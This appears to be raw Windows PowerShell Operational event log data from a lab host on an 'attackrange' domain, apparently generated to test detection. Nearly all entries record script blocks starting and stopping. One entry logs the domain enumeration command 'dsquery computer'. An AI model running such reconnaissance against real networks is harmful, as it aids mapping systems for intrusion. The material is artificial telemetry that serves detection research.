User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989035 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989034 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989033 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989032 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989031 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989030 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989029 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989028 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989027 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989026 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989025 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989024 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989058 Keywords=None Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989057 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989056 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989055 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989054 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989053 Keywords=None Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989052 Keywords=None Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989068 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989067 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989066 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989065 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989064 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989063 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989062 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989061 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989060 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:33 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989059 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989103 Keywords=None Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989102 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989101 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989100 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989099 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989098 Keywords=None Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989097 Keywords=None Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989096 Keywords=None Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989095 Keywords=None Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989094 Keywords=None Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989093 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989092 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989091 Keywords=None Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989090 Keywords=None Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989089 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989088 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989087 Keywords=None Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989086 Keywords=None Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989085 Keywords=None Message=Completed invocation of ScriptBlock ID: 56b05ed4-399a-440e-b8ae-346bca2cfe3e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989084 Keywords=None Message=Started invocation of ScriptBlock ID: 56b05ed4-399a-440e-b8ae-346bca2cfe3e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989083 Keywords=None Message=Creating Scriptblock text (1 of 1): dsquery computer ScriptBlock ID: 56b05ed4-399a-440e-b8ae-346bca2cfe3e Path: 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989082 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989081 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989080 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989079 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989078 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989077 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 